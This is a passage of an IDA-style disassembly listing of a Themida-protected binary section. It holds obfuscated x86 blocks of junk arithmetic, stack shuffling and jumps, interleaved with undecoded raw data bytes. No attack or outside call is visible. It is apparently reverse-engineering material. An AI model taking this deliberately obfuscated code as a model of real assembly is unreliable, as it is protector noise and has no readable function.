		dd 89000073h, 0EC812414h, 4, 0B3241C89h, 5EBC0A7h, 0C380CBFEh
		dd 24CBE9D5h, 0B951FFFFh, 0F443101h, 10E9C809h,	89FFFF71h
		dd 0E6892434h, 4C681h, 8CE90000h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E823:				; CODE XREF: Themida_:0055D49Dj
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56A360
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0EF8904C4h, 0FF75BDE9h, 0E9CA29FFh, 0FFFF2941h
		dd 8DBCE954h, 0FF54FFFFh, 52E92434h, 87FFFFADh,	0E95C241Ch
		dd 0FFFFF596h, 51243C8Bh, 0FEE71DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E865:				; CODE XREF: Themida_:005633EBj
		mov	eax, 1CAA5205h
		mov	ebx, 0F27A0A92h
		jmp	loc_568F21
; ---------------------------------------------------------------------------
		dd 5958C688h, 0E917B353h, 0FFFFD7C6h, 81FD295Eh, 0BA4ACAC5h
		dd 243C8B29h, 81E38953h, 4C3h, 0FF3AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E89A:				; CODE XREF: Themida_:00560CCCj
		push	ebx
		mov	ebx, 1
		push	ecx
		mov	ecx, ebx
		push	5CFDh
		mov	[esp], ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5705E9
; ---------------------------------------------------------------------------


loc_56E8B6:				; CODE XREF: Themida_:00560552j
		add	esp, 4
		push	esi
		mov	esi, 234D600Bh
		sub	esi, 234D6007h
		add	edx, esi
		pop	esi
		jmp	loc_561BE4
; ---------------------------------------------------------------------------
		dd 1011E959h, 0C588FFFFh, 8859EF88h, 48B5BFDh, 0B425E924h
		dd 4C68FFFFh, 8900006Ch, 6DE9243Ch
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E8F3:				; CODE XREF: Themida_:0056A6E2j
		mov	ecx, esp
		push	edi
		jmp	loc_56EE56
; ---------------------------------------------------------------------------
		db 66h
		dd 66243431h, 66243433h, 66243431h, 3166EE31h, 0EE3166F5h
		dd 56E18951h, 0E537E1BEh, 7EEC113h, 0E681DEF7h,	36091A02h
		dd 0F004C681h, 0F101C9F7h, 9A9CE95Eh, 1C89FFFFh, 4EC8124h
		dd 89000000h, 4832424h,	815B0424h, 4C3h, 0B8505700h, 2D410958h
		dd 8F7A3725h, 79E99660h
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E95B:				; CODE XREF: Themida_:0056843Dj
		pop	bx
		neg	ah
		xor	ah, 33h
		add	ah, 5Eh
		add	bl, 0C2h
		sub	bl, ah
		sub	bl, 0C2h
		jmp	loc_56CB35
; ---------------------------------------------------------------------------
		dw 1BEh
		dd 1000000h, 24348BF3h,	4C481h,	0DBF70000h, 81D3F74Bh
		dd 0B5B849F3h, 0E9D80165h, 0FFFEF3FBh, 8B2434FFh, 0C4832434h
		dd 0B62CE904h, 1C89FFFFh, 35DDBB24h, 0BD5525ECh, 773A047Ch
		dd 0E95DEB31h, 0FFFED912h, 8124348Bh, 4C4h, 24148B00h
		dd 0FEF2A7E9h, 0ADE957FFh, 33000016h, 685C241Ch, 7FEBh
		dd 0FEF77DE9h, 2434FFFFh, 0FEF937E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E9E5:				; CODE XREF: Themida_:00561CA2j
		push	ecx
		jmp	loc_5640C5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 2434335Ch, 0E9243431h, 0FFFF7446h
; ---------------------------------------------------------------------------


loc_56EA00:				; CODE XREF: Themida_:0055C4FDj
		pop	esi
		push	ebp
		mov	ebp, edx
		mov	esi, ebp
		jmp	loc_567D31
; ---------------------------------------------------------------------------
		db 81h
		dd 3E4C72EFh, 0E9EF012Bh, 0FFFF1CDAh, 3890EE81h, 28E925E2h
		dd 58FFFF66h, 5C243C87h, 3304EF83h, 3C31243Ch, 243C3324h
		dd 2414895Ch, 0C281E289h, 4, 5204C283h,	42474FFh, 0FFCB52E9h
		dd 0E95B54FFh, 0FFFFA2F7h, 0E92434FFh, 0FFFF4F03h, 31241C33h
		dd 71E9241Ch
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA67:				; CODE XREF: Themida_:005643A5j
		push	esi
		push	esp
		pop	esi
		jmp	loc_56B97D
; ---------------------------------------------------------------------------


loc_56EA6F:				; CODE XREF: Themida_:0056B1CCj
		mov	edx, 391A2084h
		neg	edx
		sub	edx, 3C345F57h
		and	edx, 346161B9h
		add	edx, 73D26C46h
		add	edx, 8C0C939Dh
		mov	esi, edx
		pop	edx
		jmp	loc_567E73
; ---------------------------------------------------------------------------
		dw 0ADB0h
		dd 5866C608h, 0EC81CEFEh, 4, 0FED2E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EAA9:				; CODE XREF: Themida_:0055D540j
		push	ebx
		mov	ebx, 110A63AAh
		inc	ebx
		jmp	loc_56D3DE
; ---------------------------------------------------------------------------


loc_56EAB5:				; CODE XREF: Themida_:0056B998j
		mov	esi, 60B92E22h
		push	edi
		mov	edi, esi
		push	esi
		jmp	loc_560AE5
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF661BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EAC9:				; CODE XREF: Themida_:0056163Bj
		mov	edx, 73AC023Bh
		jmp	loc_56CE61
; ---------------------------------------------------------------------------
aFy		db '(ÈfY',0
aQA		db 'ØQµA',0
		db 0E8h, 0E9h, 0A1h
		dd 1FFFF45h, 388AE9D1h,	685BFFFFh, 55CFh, 68241C89h, 5E38h
		dd 0FFE983E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EAFD:				; CODE XREF: Themida_:0055C7B2j
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		jmp	loc_56750C
; ---------------------------------------------------------------------------
		db 58h,	81h, 0ECh
		dd 4, 68241489h, 40B4h,	0E9242489h, 0FFFF3A2Fh,	0A33404B8h
		dd 0E9C2897Bh, 0FFFFE5B7h, 808BB252h, 0CAFEB3CAh, 8030CA80h
		dd 0F2802DC2h, 14D7E969h, 0C301FFFFh, 6053C381h, 34FF168Eh
		dd 24048B24h, 5004C483h, 405E089h, 83000000h, 48704C0h
		dd 35E95C24h, 89FFFF1Fh, 24148BD1h, 7A2E9h, 4C38100h, 87000000h
		dd 315C241Ch, 0C9EEE9D0h, 0BF57FFFFh, 4, 685FFA01h, 3F59h
		dd 1590E9h, 4C48300h, 0FF5E61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB9D:				; CODE XREF: Themida_:00566AE2j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 43C90F00h
		jmp	loc_5618DE
; ---------------------------------------------------------------------------
		dd 4246C81h, 67F67560h,	4245401h, 0FFF90DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EBCD:				; CODE XREF: Themida_:00570789j
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241489h, 0FFFF01F8h, 8B2434FFh, 0E9572404h, 0FFFF7C84h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0FFBCF3E9h, 0B96651FFh
		dd 0E9571BA9h, 0FFFFED73h
; ---------------------------------------------------------------------------


loc_56EC0C:				; CODE XREF: Themida_:0056FBADj
		xor	ebp, edi
		jmp	loc_55C69B
; ---------------------------------------------------------------------------
		db 28h
		dd 0B4505BDDh, 58E500FFh, 0FF1CA3E9h, 4BE56FFh,	1000000h
		dd 0AB685EF5h, 0E900001Fh, 0FFFF7928h, 8124348Bh, 4C4h
		dd 4BB5300h, 1000000h, 0EE835BDEh, 56916804h, 34890000h
		dd 2474FF24h, 48F5E04h,	24248B24h, 0FF3594E9h, 53A1B8FFh
		dd 4EE963BCh
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC6B:				; CODE XREF: Themida_:0055B7F9j
		mov	[esp], ecx
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B12D04E0h, 13ECE20h, 0C62BE9C2h, 5066FFFFh,	0FFFE0DE9h
		dd 0C9BB53FFh, 81385B63h, 0D66ED6EFh, 50DF2920h, 644000B8h
		dd 9519E92Fh, 0C281FFFFh, 4, 0FFA41BE9h, 58C101FFh, 8702C183h
		dd 248B240Ch, 7E8E924h,	8B660000h, 0E9522404h, 0FFFF3768h
		dd 0A844E7BDh, 0DE87E95Fh, 17B2FFFFh, 38E9C2FEh, 68FFFF11h
		dd 3097h, 0BD242C89h, 4, 0FED96FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ECED:				; CODE XREF: Themida_:00570701j
		mov	esp, [esp]
		jmp	loc_56F66C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C2414h, 0FFFEC851h, 0B4E9EAB1h, 81FFFFDAh
		dd 4C1h, 4C18300h, 0FFB683E9h, 81EED1FFh, 0E3165BE6h, 4DC6816Ch
		dd 68613257h, 4834h, 68241C89h,	27E7h, 1096E9h
		db 0
; ---------------------------------------------------------------------------


loc_56ED39:				; CODE XREF: Themida_:0056D5C3j
		shr	ebx, 3
		and	ebx, 79443FAEh
		add	ebx, 0F7FFEF80h
		add	ebp, ebx
		jmp	loc_569E9E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0D7E94200h, 59FFFFA5h,	1F48E959h, 14BFFFFFh, 0F7091D44h
		dd 20E5E9D7h, 8158FFFFh, 0E245FC6h, 0E9F4E943h,	2835FFFFh
		dd 54A2D06h, 21716F69h,	0FF258BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ED89:				; CODE XREF: Themida_:00565566j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D5AE
; ---------------------------------------------------------------------------


loc_56ED97:				; CODE XREF: Themida_:00562BDDj
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 2
		add	esi, 0FDD60CD6h
		and	eax, esi
		jmp	loc_56A9D2
; ---------------------------------------------------------------------------
		dd 3FF668h, 24048900h, 0B2563B8h, 0DF0E916h, 0F7810000h
		dd 0F438F314h, 3C8BFA01h, 4EC8124h, 89000000h, 0E0892404h
		dd 405h, 4C08300h, 5C240487h, 2474FF52h, 6982E904h, 0D901FFFFh
		dd 2B91C181h, 8BE94FE5h, 29000005h, 241C8BDFh, 81E38953h
		dd 4C3h, 2B77E900h, 0BF57FFFFh,	4, 875FFA01h, 0B3E92414h
		dd 0ACFFFEFAh, 0C88EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5665D0
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF3147h, 5A2434FFh, 0E904C483h, 0FFFF62F7h, 0E95DEA89h
		dd 0FFFF0A52h, 0BA241489h, 610900CDh, 5336E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE56:				; CODE XREF: Themida_:0056E8F6j
		mov	edi, 68D4BA8h
		or	edi, 20E93604h
		sub	edi, 6FB823B1h
		sub	edi, 111C6D69h
		inc	edi
		not	edi
		add	edi, 0A618EE98h
		add	ecx, edi
		pop	edi
		jmp	loc_55CE13
; ---------------------------------------------------------------------------


loc_56EE7E:				; CODE XREF: Themida_:005699C3j
		or	eax, 30B37A34h
		xor	eax, 0DBFE2C23h
		mov	ebx, eax
		pop	eax
		add	ebx, 9E64A25h
		add	ebx, 8C51C6ABh
		xor	edx, ebx
		pop	ebx
		jmp	loc_56CF50
; ---------------------------------------------------------------------------


loc_56EE9F:				; CODE XREF: Themida_:0056BC25j
		push	eax
		push	edx
		jmp	loc_5688D8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4D443CB4h, 0FF20B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EEB1:				; CODE XREF: Themida_:0056F381j
		pop	edx
		inc	ebp
		neg	ebp
		xor	ebp, 845D3368h
		jmp	loc_56A3C9
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 0A92E900h, 0F209FFFFh, 0DBC2815Eh
		dd 815CC35Fh, 76DF56EAh, 0E9D68975h, 0FFFF7836h
; ---------------------------------------------------------------------------


loc_56EEE4:				; CODE XREF: Themida_:0056F85Cj
		xor	edi, 7AB72B4h
		add	esi, edi
		pop	edi
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56253C
; ---------------------------------------------------------------------------


loc_56EEFE:				; CODE XREF: Themida_:0056A279j
		pop	edi
		push	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		xchg	ebx, esi
		not	ebx
		jmp	loc_55CAD8
; ---------------------------------------------------------------------------


loc_56EF12:				; CODE XREF: Themida_:0056425Bj
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_56EF17:				; CODE XREF: Themida_:00561023j
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	537735F0h
		jmp	loc_568619
; ---------------------------------------------------------------------------


loc_56EF35:				; CODE XREF: Themida_:005702D8j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0CFE9C361h
		db 4, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF3F:				; CODE XREF: Themida_:0055CB1Dj
		mov	[esp], edx
		jmp	loc_56333A
; ---------------------------------------------------------------------------


loc_56EF47:				; CODE XREF: Themida_:00563A34j
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_56034D
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF8C77h
; ---------------------------------------------------------------------------


loc_56EF58:				; CODE XREF: Themida_:0056C14Ej
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56925B
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd offset dword_457444+29E24h
		dd 240C8900h, 807BB753h, 0EF8095E7h, 0E9FD8869h, 0FFFEEDDDh
		dd 2ED8BB66h, 8BCB3166h, 0E957240Ch, 0FFFF8A5Dh
; ---------------------------------------------------------------------------


loc_56EF94:				; CODE XREF: Themida_:0056B171j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56A212
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 565FFE01h, 42474FFh, 2BE9h, 24048900h, 0FEC59CE9h
		dd 933B9FFh, 0D1F70D7Eh, 1CA9BA52h, 0D2F752D1h,	0FEFC59E9h
		dd 0E9EA01FFh, 0FFFECCDEh, 0E92434FFh, 0FFFFBAF2h, 24048F5Eh
		dd 4C4835Ch, 352ABF57h,	0F781114Dh, 60B35F69h, 0FF11FAE9h
		dd 0A827BFFFh, 0CF01DD71h, 81240C8Bh, 4C4h, 0C2E78100h
		dd 0F77A0F7Dh, 77F781D7h, 31E1C3CCh, 0CE895FF9h, 0F7564E59h
		dd 685E2414h, 2377h, 0FF5BB2E9h, 0CE581FFh, 81702C70h
		dd 8D0F09F5h, 5DEA2913h, 7EEF281h, 9EE90C11h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F043:				; CODE XREF: Themida_:0055C9E2j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	edx
		jmp	loc_5684C0
; ---------------------------------------------------------------------------


loc_56F053:				; CODE XREF: Themida_:00561933j
		push	edx
		push	2ED4618Ah
		jmp	loc_55E110
; ---------------------------------------------------------------------------
		dw 505Ch
		dd 0DCE9E089h, 81FFFF9Eh, 4ECh,	24148900h, 25094ABAh, 5AD3313Bh
		dd 0FFC5D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F07D:				; CODE XREF: Themida_:0056C66Dj
		dec	ebp
		xor	ebp, 74B85F8Bh
		jmp	loc_567D0D
; ---------------------------------------------------------------------------
		db 56h,	50h, 89h
		dd 405E0h, 0F9E90000h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F097:				; CODE XREF: Themida_:005663BCj
		pop	edx
		add	ebp, 14C0327Bh
		sub	ebp, 473D55B5h
		add	ebp, edi
		push	esi
		mov	esi, 473D55B5h
		add	ebp, esi
		pop	esi
		push	edx
		mov	edx, 14C0327Bh
		sub	ebp, edx
		pop	edx
		pop	edi
		add	ebp, 4
		jmp	loc_56BC2A
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 13h
		dd 815C8F12h, 0E32393F1h, 59CB0150h, 7E7EB81h, 0C3812CEDh
		dd 422E66BBh, 0FFD1FAE9h, 0E9F201FFh, 0FFFF4325h, 0CDBF5757h
		dd 296BE471h, 5F04247Ch, 83240C8Bh, 96E904C4h, 0ADFFFFC7h
		dd 0BB53D831h, 707519C3h, 178FBA52h, 0D3297AAAh, 149FE95Ah
		dd 0DE050000h, 5B42E97Ah, 0A140FF35h, 2795354Dh, 0BE565845h
		dd 1F25158h, 0FFB040E9h, 2CA12DFFh, 0E9590259h,	0FFFF0BEFh
; ---------------------------------------------------------------------------


loc_56F13C:				; CODE XREF: Themida_:0056E208j
		push	ebx
		mov	ebx, 7B015450h
		and	eax, ebx
		jmp	loc_566881
; ---------------------------------------------------------------------------


loc_56F149:				; CODE XREF: Themida_:00569B80j
		push	526Dh
		jmp	loc_55C652
; ---------------------------------------------------------------------------
		db 87h
		dd 0B8E9241Ch, 21FFFF42h, 0B8505FFBh, 15753789h, 0FFA224E9h
		dd 0E08950FFh, 0E2D5E956h, 0F781FFFEh, 9DFD7BA7h, 315F5E57h
		dd 0A1055EF1h, 102592Ch, 0FFA7E9C8h, 6EBEFFFFh,	0E9261670h
		dd 0FFFF1452h
; ---------------------------------------------------------------------------


loc_56F194:				; CODE XREF: Themida_:0055ED0Aj
		sub	ebp, 1BC70228h
		dec	ebp
		xor	ebp, 0C14596BBh
		xor	eax, ebp
		pop	ebp
		sub	ebp, 0BCE2793h
		add	ebp, eax
		add	ebp, 0BCE2793h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D71E
; ---------------------------------------------------------------------------
		dd 4055854h, 0E9000000h, 0FFFF79A4h
; ---------------------------------------------------------------------------


loc_56F1CC:				; CODE XREF: Themida_:005635D1j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	esp
		jmp	loc_56236B
; ---------------------------------------------------------------------------
		dd 48BC128h, 9F73E924h,	0E883FFFFh, 24048704h, 2414895Ch
		dd 81E28952h, 4C2h, 80ADE900h, 815AFFFFh, 0CEBE52C3h, 0E0C1810Bh
		dd 2927E11Ah, 0E0E981D9h, 5B27E11Ah, 35B6BA52h,	0EA8167BDh
		dd 4D1C2CA3h, 15AD701h,	13EF81CFh, 8B1AA109h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56C681
; ---------------------------------------------------------------------------
		dd 14CEF281h, 0C28153C6h, 2B93170Ah, 3AED68h, 241C8900h
		dd 54D8BF57h, 14E90210h, 0BEFFFEFBh, 7B9F4FDDh,	0E95EF009h
		dd 0FFFEFF21h, 0E924248Bh, 0AC6h
; ---------------------------------------------------------------------------


loc_56F26C:				; CODE XREF: Themida_:0055B9B6j
		pop	esp
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dw 0F768h
		dd 5A2DF752h, 3CF3EA81h, 0DDE9D059h, 41FFFF4Dh,	7EE3E181h
		dd 39E94DF0h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F28F:				; CODE XREF: Themida_:00560CA5j
		push	edi
		mov	edi, 2FE63D8Ch
		not	edi
		jmp	loc_5640A5
; ---------------------------------------------------------------------------
		dd 88240C89h, 0E9CF88E1h, 0FFFF49ECh, 5EEB80h, 5EC380C3h
		dd 50F32858h, 0FF0991E9h, 18CA81FFh, 8162B97Dh,	24F2DFC2h
		dd 0E9D089E4h, 0FFFF2319h, 286968h, 24148900h, 636F92BAh
		dd 1C28305h, 0FFFFC281h, 0B850FFFFh, 6D5F3B6Dh,	0C1D0F748h
		dd 0CBE903E0h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F2F3:				; CODE XREF: Themida_:0057053Cj
		push	ecx
		jmp	loc_5677BB
; ---------------------------------------------------------------------------
		db 59h,	0F6h, 0DEh
		dd 0FED0B551h, 0F4E1E9CDh, 3489FFFEh, 0A27BE24h, 6E963B8h
		dd 81FFFFFAh, 4C4h, 0D309E900h,	0DC68FFFFh, 89000006h
		dd 0E0892404h, 405h, 40500h, 4330000h, 24043124h, 8B240433h
		dd 1A682424h, 0E9000076h, 12F8h
; ---------------------------------------------------------------------------


loc_56F348:				; CODE XREF: Themida_:00564D09j
		xor	edx, 8292449Ah
		xor	ebx, edx
		pop	edx
		jmp	loc_563879
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2C953F35h, 9559CD89h, 3DE9D0F7h, 8BFFFF09h, 0C483242Ch
		dd 0EE0CE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F372:				; CODE XREF: Themida_:0056F609j
		push	42C2h
		mov	[esp], ecx
		jmp	loc_566F51
; ---------------------------------------------------------------------------


loc_56F37F:				; CODE XREF: Themida_:005707C6j
		or	ebp, edx
		jmp	loc_56EEB1
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 16A91ABBh, 70CE685Bh, 0C890000h, 2474FF24h, 48F5904h
		dd 0FAE95C24h, 89FFFF3Fh, 0E9505BDAh, 0FFFF3120h, 24048B66h
		dd 0E904EC83h, 0FFFF2A27h, 9E9C681h, 8146332Fh,	0EEE944EEh
		dd 5EF3011Eh, 5785EB81h, 0FB0125A4h, 5785C381h,	0EB8125A4h
		dd 505861F2h, 0E92434FFh, 0FFFEC25Fh
; ---------------------------------------------------------------------------


loc_56F3E4:				; CODE XREF: Themida_:005678F1j
		push	edi
		push	esi
		mov	esi, 22ED51BFh
		add	esi, 3AD15DB8h
		jmp	loc_55FB67
; ---------------------------------------------------------------------------
		dw 685Dh
		dd 116Ch, 0E9243489h, 0FFFF5063h, 5D241489h, 0AD7AE95Ah
		dd 34FFFFFFh, 91685924h, 0E9000052h, 0FFFF0FA7h, 0C681E689h
		dd 4, 0FF3602E9h, 39E942FFh, 0ADFFFF9Fh, 43B0BE56h, 0D6F72EE7h
		dd 65EE8146h, 1CD27A0h,	24348BF0h, 0FFBA86E9h, 0BAE95AFFh
		dd 0FFFFFF9Fh, 48B2434h, 93B4E924h, 0EA80FFFFh,	66C2FE64h
		dd 0E9000068h, 0FFFFD5C1h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 4C481h, 0C7810000h, 4, 54EE68h, 24048900h, 4B8h, 58C70100h
		dd 0FEF285E9h, 8BF989FFh, 0C483243Ch, 0FDDDE904h, 0F66FFFFh
		dd 6866C8BEh, 89666C8Eh, 9EE9240Ch
		db 0C0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F4B7:				; CODE XREF: Themida_:0055B9F4j
		sub	bl, 0D1h
		push	eax
		mov	al, 8Bh
		shl	al, 1
		shl	al, 2
		add	al, 96h
		sub	bl, al
		jmp	loc_56330A
; ---------------------------------------------------------------------------
		db 89h
		dd 0FDB42404h, 0DCE9DCF6h, 81FFFF79h, 4ECh, 24148900h
		dd 0B151F6B6h, 0BAB05018h, 3402E8C0h, 0E9E234D9h, 0FFFF3B25h
; ---------------------------------------------------------------------------


loc_56F4F4:				; CODE XREF: Themida_:0056E3C7j
		mov	[esp], esi
		mov	esi, 56927473h
		xchg	ecx, esi
		push	esi
		jmp	loc_5627D9
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 2E122A85h, 2665C981h, 0C1814EC3h, 1, 0D9F7D1F7h
		dd 0FFD0E1E9h, 0E9D829FFh, 0FFFF5999h, 0D144FD2Dh, 5F00169h
		dd 69D144FDh, 0FF76C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F539:				; CODE XREF: Themida_:0056E12Dj
		mov	ch, 0B2h
		add	bl, 29h
		sub	bl, 8Ah
		add	bl, ch
		add	bl, 8Ah
		push	6821h
		mov	[esp], edx
		mov	dh, 29h
		sub	bl, 7Ch
		sub	bl, dh
		add	bl, 7Ch
		jmp	loc_56B875
; ---------------------------------------------------------------------------


loc_56F55D:				; CODE XREF: Themida_:0055CD05j
		or	bl, 79h
		add	bl, 99h
		xor	bl, 66h
		mov	ah, bl
		jmp	loc_55C7E2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0F6EBE950h, 0DDF7FFFFh, 0EE02F581h, 0EE01FBDEh, 2434335Dh
		dd 33243431h, 0E9E92434h, 3500000Ch, 3F3568F9h,	282AB725h
		dd 0C2423512h, 0C2010A34h, 0E9D08958h, 6DEh, 8704C583h
		dd 335C242Ch, 1C31241Ch, 241C3324h, 6624248Bh, 0E924048Bh
		dd 0FFFFF60Eh
; ---------------------------------------------------------------------------


loc_56F5C4:				; CODE XREF: Themida_:0055D02Ej
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5665B2
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDAh, 4C481h, 0C2810000h, 4, 31241433h,	14332414h
		dd 24248B24h, 6CAB0566h, 0E9F80166h, 0FFFFD768h
; ---------------------------------------------------------------------------


loc_56F5F8:				; CODE XREF: Themida_:0056CD43j
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56B176
; ---------------------------------------------------------------------------


loc_56F608:				; CODE XREF: Themida_:005629B8j
		pop	ebx
		jmp	loc_56F372
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 54771FFCh, 7350E581h, 57E9142Bh, 0B9FFFFFFh,	7040D86h
		dd 35EABB53h, 0D90962A1h, 0FFE9815Bh, 0C1FFFFFFh, 0E3E905E9h
		dd 5FFFF0Eh, 44630BD8h,	74E9D829h, 48FFFEEAh, 679DBA52h
		dd 12E9258Eh
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F653:				; CODE XREF: Themida_:0055BAC0j
		push	ebx
		mov	bh, 2Ah
		inc	bh
		jmp	loc_56D851
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 4Ch
		dd 8B590424h, 0E9552404h, 0FFFEC2A0h
; ---------------------------------------------------------------------------


loc_56F66C:				; CODE XREF: Themida_:0056ECF0j
		or	[esp], eax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_56F675:				; CODE XREF: Themida_:0055C70Cj
		mov	edi, 70FF44F9h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 427D3591h
		push	edi
		mov	edi, 77792522h
		dec	edi
		not	edi
		sub	edi, 51423D6Ch
		shr	edi, 1
		jmp	loc_566A89
; ---------------------------------------------------------------------------


loc_56F69E:				; CODE XREF: Themida_:005685CAj
		add	ebx, 1F8406A5h
		shl	ebx, 4
		shr	ebx, 1
		sub	ebx, 1E194F68h
		xor	ebx, 0B5CF8E2Bh
		sub	eax, ebx
		pop	ebx
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_56329A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 407648C5h, 519CB951h, 5DE9399Bh, 81FFFF1Bh, 4C1h, 4E98100h
		dd 0E9000000h, 0FFFF152Dh, 73C468h, 0D481E900h,	0F581FFFEh
		dd 52306B31h, 0FFF930E9h, 0E0C140FFh, 3E0C107h,	0FFE00405h
		dd 8BC601DFh, 0ECE92404h, 89FFFED2h, 67BB241Ch,	0E94BDA1Dh
		dd 0FFFED67Fh
; ---------------------------------------------------------------------------


loc_56F71C:				; CODE XREF: Themida_:0056CEEFj
		mov	ebp, ebx
		jmp	loc_569C59
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FEBE24E9h, 2434FFFFh,	8124148Bh
		dd 4C4h, 4EC8100h, 89000000h, 0E6892434h, 4C681h, 68570000h
		dd 4, 83243C8Bh, 0FE0104C4h, 83243C8Bh,	0FF5604C4h, 8B042474h
		dd 0C4832434h, 24048F04h, 321D685Ch, 34890000h,	4EC8324h
		dd 68240C89h, 51141CD6h, 0B7E18159h, 81482F7Eh,	0C5CDF8E9h
		dd 8246E921h, 0BAE9FFFFh, 0B7FFFEBDh, 177E938h,	0C890000h
		dd 0B960E924h, 0C181FFFFh, 0C4D1A875h, 2FE9CB89h, 58FFFF3Fh
		dd 0FF3D68E9h, 4C483FFh, 0E9241433h, 0FFFF3D68h, 15AD701h
		dd 0C2815FFAh, 4, 5C241487h, 0EE9h, 0C8B6600h, 9F96824h
		dd 0A0E90000h, 83FFFEF7h, 676804C4h, 89000053h,	0E9502414h
		dd 0FFFF0C4Ah
; ---------------------------------------------------------------------------


loc_56F7FC:				; CODE XREF: Themida_:0056B191j
		push	ebx
		jmp	loc_5633EA
; ---------------------------------------------------------------------------
		dw 8BB4h
		dd 0FED3EFE9h, 0A0E956FFh, 0B5FFFF59h, 0FFC58002h, 2EC81h
		dd 89660000h, 0D388241Ch, 0F45E9h, 6E9C100h, 7DA4C181h
		dd 0BD550E86h, 0FFC61791h, 7E9E901h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F83B:				; CODE XREF: Themida_:00567C73j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_55F1AD
; ---------------------------------------------------------------------------


